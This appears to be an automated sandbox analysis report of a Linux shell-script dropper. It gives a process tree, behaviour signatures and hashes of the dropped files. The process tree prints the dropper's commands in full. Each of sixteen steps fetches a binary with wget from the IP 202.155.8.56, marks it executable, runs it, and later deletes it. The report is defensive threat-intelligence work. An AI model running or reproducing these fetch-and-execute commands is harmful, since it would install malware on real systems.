Analysis

  • max time kernel
    144s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    20/08/2026, 02:30

General

  • Target
    WSW0.sh
  • Size 263B
  • Sample260820-czg3jaycmf
  • SHA256 7f0adf5c68e6d09361b3aa37532fc083c7b375e8e1f604af878c5fa41fcbe037
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 16 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 16 IoCs
  • OS Credential Dumping 1 TTPs 1 IoCs

    Adversaries may attempt to dump credentials to use it in password cracking.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/WSW0.sh
    /tmp/WSW0.sh
    1⤵
    • Executes dropped EXE
    PID:646
    • /bin/rm
      rm QLBN
      2⤵
        PID:647
      • /usr/bin/wget
        wget http://202.155.8.56/QLBN
        2⤵
        • Writes file to tmp directory
        PID:651
      • /bin/chmod
        chmod +x QLBN
        2⤵
        • File and Directory Permissions Modification
        PID:675
      • /tmp/QLBN
        ./QLBN
        2⤵
        • OS Credential Dumping
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:676
        • /usr/local/sbin/uname
          uname -a
          3⤵
            PID:680
          • /usr/local/bin/uname
            uname -a
            3⤵
              PID:680
            • /usr/sbin/uname
              uname -a
              3⤵
                PID:680
              • /usr/bin/uname
                uname -a
                3⤵
                  PID:680
                • /sbin/uname
                  uname -a
                  3⤵
                    PID:680
                  • /bin/uname
                    uname -a
                    3⤵
                      PID:680
                  • /bin/rm
                    rm VXCT
                    2⤵
                      PID:678
                    • /usr/bin/wget
                      wget http://202.155.8.56/VXCT
                      2⤵
                      • Writes file to tmp directory
                      PID:679
                    • /bin/chmod
                      chmod +x VXCT
                      2⤵
                      • File and Directory Permissions Modification
                      PID:695
                    • /tmp/VXCT
                      ./VXCT
                      2⤵
                        PID:697
                      • /bin/rm
                        rm MFQB
                        2⤵
                          PID:700
                        • /usr/bin/wget
                          wget http://202.155.8.56/MFQB
                          2⤵
                          • Writes file to tmp directory
                          PID:701
                        • /bin/chmod
                          chmod +x MFQB
                          2⤵
                          • File and Directory Permissions Modification
                          PID:731
                        • /tmp/MFQB
                          ./MFQB
                          2⤵
                            PID:732
                          • /bin/rm
                            rm QJOE
                            2⤵
                              PID:734
                            • /usr/bin/wget
                              wget http://202.155.8.56/QJOE
                              2⤵
                              • Writes file to tmp directory
                              PID:735
                            • /bin/chmod
                              chmod +x QJOE
                              2⤵
                              • File and Directory Permissions Modification
                              PID:738
                            • /tmp/QJOE
                              ./QJOE
                              2⤵
                              • Writes file to tmp directory
                              PID:740
                            • /bin/rm
                              rm LTDM
                              2⤵
                                PID:742
                              • /usr/bin/wget
                                wget http://202.155.8.56/LTDM
                                2⤵
                                • Writes file to tmp directory
                                PID:744
                              • /bin/chmod
                                chmod +x LTDM
                                2⤵
                                • File and Directory Permissions Modification
                                PID:771
                              • /tmp/LTDM
                                ./LTDM
                                2⤵
                                  PID:772
                                • /bin/rm
                                  rm LQJF
                                  2⤵
                                    PID:774
                                  • /usr/bin/wget
                                    wget http://202.155.8.56/LQJF
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:775
                                  • /bin/chmod
                                    chmod +x LQJF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:776
                                  • /tmp/LQJF
                                    ./LQJF
                                    2⤵
                                      PID:777
                                    • /bin/rm
                                      rm AWWK
                                      2⤵
                                        PID:779
                                      • /usr/bin/wget
                                        wget http://202.155.8.56/AWWK
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:780
                                      • /bin/chmod
                                        chmod +x AWWK
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:781
                                      • /tmp/AWWK
                                        ./AWWK
                                        2⤵
                                          PID:782
                                        • /bin/rm
                                          rm ZNIJ
                                          2⤵
                                            PID:784
                                          • /usr/bin/wget
                                            wget http://202.155.8.56/ZNIJ
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:785
                                          • /bin/chmod
                                            chmod +x ZNIJ
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:786
                                          • /tmp/ZNIJ
                                            ./ZNIJ
                                            2⤵
                                              PID:787
                                            • /bin/rm
                                              rm JQVI
                                              2⤵
                                                PID:789
                                              • /usr/bin/wget
                                                wget http://202.155.8.56/JQVI
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:790
                                              • /bin/chmod
                                                chmod +x JQVI
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:791
                                              • /tmp/JQVI
                                                ./JQVI
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:792
                                              • /bin/rm
                                                rm PLGZ
                                                2⤵
                                                  PID:794
                                                • /usr/bin/wget
                                                  wget http://202.155.8.56/PLGZ
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:795
                                                • /bin/chmod
                                                  chmod +x PLGZ
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:796
                                                • /tmp/PLGZ
                                                  ./PLGZ
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:797
                                                • /bin/rm
                                                  rm CSSK
                                                  2⤵
                                                    PID:799
                                                  • /usr/bin/wget
                                                    wget http://202.155.8.56/CSSK
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:800
                                                  • /bin/chmod
                                                    chmod +x CSSK
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:801
                                                  • /tmp/CSSK
                                                    ./CSSK
                                                    2⤵
                                                      PID:802
                                                    • /bin/rm
                                                      rm WEJU
                                                      2⤵
                                                        PID:804
                                                      • /usr/bin/wget
                                                        wget http://202.155.8.56/WEJU
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:805
                                                      • /bin/chmod
                                                        chmod +x WEJU
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:806
                                                      • /tmp/WEJU
                                                        ./WEJU
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:807
                                                      • /bin/rm
                                                        rm BPLC
                                                        2⤵
                                                          PID:809
                                                        • /usr/bin/wget
                                                          wget http://202.155.8.56/BPLC
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:810
                                                        • /bin/chmod
                                                          chmod +x BPLC
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:811
                                                        • /tmp/BPLC
                                                          ./BPLC
                                                          2⤵
                                                            PID:812
                                                          • /bin/rm
                                                            rm TTLV
                                                            2⤵
                                                              PID:814
                                                            • /usr/bin/wget
                                                              wget http://202.155.8.56/TTLV
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:815
                                                            • /bin/chmod
                                                              chmod +x TTLV
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:816
                                                            • /tmp/TTLV
                                                              ./TTLV
                                                              2⤵
                                                                PID:817
                                                              • /bin/rm
                                                                rm QUAF
                                                                2⤵
                                                                  PID:819
                                                                • /usr/bin/wget
                                                                  wget http://202.155.8.56/QUAF
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:820
                                                                • /bin/chmod
                                                                  chmod +x QUAF
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:821
                                                                • /tmp/QUAF
                                                                  ./QUAF
                                                                  2⤵
                                                                    PID:822
                                                                  • /bin/rm
                                                                    rm MSQX
                                                                    2⤵
                                                                      PID:824
                                                                    • /usr/bin/wget
                                                                      wget http://202.155.8.56/MSQX
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:825
                                                                    • /bin/chmod
                                                                      chmod +x MSQX
                                                                      2⤵
                                                                      • File and Directory Permissions Modification
                                                                      PID:826
                                                                    • /tmp/MSQX
                                                                      ./MSQX
                                                                      2⤵
                                                                      • Writes file to tmp directory
                                                                      PID:827
                                                                    • /bin/rm
                                                                      rm -rf QLBN
                                                                      2⤵
                                                                        PID:829
                                                                      • /bin/rm
                                                                        rm -rf VXCT
                                                                        2⤵
                                                                          PID:830
                                                                        • /bin/rm
                                                                          rm -rf MFQB
                                                                          2⤵
                                                                            PID:831
                                                                          • /bin/rm
                                                                            rm -rf QJOE
                                                                            2⤵
                                                                              PID:832
                                                                            • /bin/rm
                                                                              rm -rf LTDM
                                                                              2⤵
                                                                                PID:833
                                                                              • /bin/rm
                                                                                rm -rf LQJF
                                                                                2⤵
                                                                                  PID:834
                                                                                • /bin/rm
                                                                                  rm -rf AWWK
                                                                                  2⤵
                                                                                    PID:835
                                                                                  • /bin/rm
                                                                                    rm -rf ZNIJ
                                                                                    2⤵
                                                                                      PID:836
                                                                                    • /bin/rm
                                                                                      rm -rf JQVI
                                                                                      2⤵
                                                                                        PID:837
                                                                                      • /bin/rm
                                                                                        rm -rf PLGZ
                                                                                        2⤵
                                                                                          PID:838
                                                                                        • /bin/rm
                                                                                          rm -rf CSSK
                                                                                          2⤵
                                                                                            PID:839
                                                                                          • /bin/rm
                                                                                            rm -rf WEJU
                                                                                            2⤵
                                                                                              PID:840
                                                                                            • /bin/rm
                                                                                              rm -rf BPLC
                                                                                              2⤵
                                                                                                PID:841
                                                                                              • /bin/rm
                                                                                                rm -rf TTLV
                                                                                                2⤵
                                                                                                  PID:842
                                                                                                • /bin/rm
                                                                                                  rm -rf QUAF
                                                                                                  2⤵
                                                                                                    PID:843
                                                                                                  • /bin/rm
                                                                                                    rm -rf MSQX
                                                                                                    2⤵
                                                                                                      PID:844
                                                                                                    • /bin/rm
                                                                                                      rm /tmp/WSW0.sh
                                                                                                      2⤵
                                                                                                        PID:845

                                                                                                    Network

                                                                                                          MITRE ATT&CK Enterprise v16

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          .zwxGXIla

                                                                                                          • Path /tmp/.zwxGXIla
                                                                                                          • Size 18B
                                                                                                          • SHA256 91a55f04d2dd5f3c458781f0fa2bc9bf648e6f6d6ca72d389edf2e830630ecb4
                                                                                                          • MD5 SHA1 SHA512

                                                                                                          AWWK

                                                                                                          • Path /tmp/AWWK
                                                                                                          • Size 154KB
                                                                                                          • SHA256 3dd83802e4a3c71b8a7a03cd7b065fbd7b9eec3ebae5e0c29d4fc09573409ed2
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          BPLC

                                                                                                          • Path /tmp/BPLC
                                                                                                          • Size 167KB
                                                                                                          • SHA256 60769cc0da4aadd603ade2a30ce4791595a43f9727e248a232ee7b6a1ae3fc44
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          CSSK

                                                                                                          • Path /tmp/CSSK
                                                                                                          • Size 193KB
                                                                                                          • SHA256 f89836639ef62ae6f317f834fab00e166ef668772b021e5e468969bd66aa4ef1
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          JQVI

                                                                                                          • Path /tmp/JQVI
                                                                                                          • Size 86KB
                                                                                                          • SHA256 25756bd4d6028d9402d02e00f7ac00bf2b23c64e420efa4be01cd965c0594b9b
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          LQJF

                                                                                                          • Path /tmp/LQJF
                                                                                                          • Size 105KB
                                                                                                          • SHA256 f85ee1500347ab1ae9061973abf387be54a98ad1259f5265965d5b067c170923
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          LTDM

                                                                                                          • Path /tmp/LTDM
                                                                                                          • Size 105KB
                                                                                                          • SHA256 d328a8df797e9a5c3c2f282b014f7cf538e141143a3054cdb542ca360d43b624
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          MFQB

                                                                                                          • Path /tmp/MFQB
                                                                                                          • Size 109KB
                                                                                                          • SHA256 fc43bc3a09d3d47a1fa0ed5559d8d98468c07e768daf9bf1f806984b342e4aa0
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          MSQX

                                                                                                          • Path /tmp/MSQX
                                                                                                          • Size 126KB
                                                                                                          • SHA256 b89e0bddab26ae722e8af161ab726eb7f25232f00b3cbdc0e6cad665513047df
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          PLGZ

                                                                                                          • Path /tmp/PLGZ
                                                                                                          • Size 125KB
                                                                                                          • SHA256 acbb357150d464f678cd23159fca36575c8039f82ef9f276ef298361f8415dd5
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          QJOE

                                                                                                          • Path /tmp/QJOE
                                                                                                          • Size 129KB
                                                                                                          • SHA256 1bea422550db39a211f644ad63eeb34bce2ae9a70b39d6c38d1b423203f619d4
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          QLBN

                                                                                                          • Path /tmp/QLBN
                                                                                                          • Size 125KB
                                                                                                          • SHA256 6a9a2fd72c6dd58658f09a6743885605c77be428948c72d6a4539e3982e67418
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          QUAF

                                                                                                          • Path /tmp/QUAF
                                                                                                          • Size 125KB
                                                                                                          • SHA256 7524f7123eb049207efa4dac91e7d0a4726016d1a992a53468c54a4829658dbb
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          TTLV

                                                                                                          • Path /tmp/TTLV
                                                                                                          • Size 193KB
                                                                                                          • SHA256 202d1e3eccffe6ac67e54882c0e070f8a4730d5e117ed52043e4ad294ec857db
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          VXCT

                                                                                                          • Path /tmp/VXCT
                                                                                                          • Size 200KB
                                                                                                          • SHA256 cd6ab1ae78b810d0840c64270a6506a753befecad64eace6c1101e2a2713574f
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          WEJU

                                                                                                          • Path /tmp/WEJU
                                                                                                          • Size 121KB
                                                                                                          • SHA256 8de4542b0cfef62851ecb166feac5ff4b0f58951e83f0e914ffe7dae90e6fed5
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                                                          ZNIJ

                                                                                                          • Path /tmp/ZNIJ
                                                                                                          • Size 129KB
                                                                                                          • SHA256 5df36281969dcd0fefdc2f7bda8af95577826634311f5a82544002e7e7d4c0fd
                                                                                                          • MD5 SHA1 SHA512 SSDEEP TLSH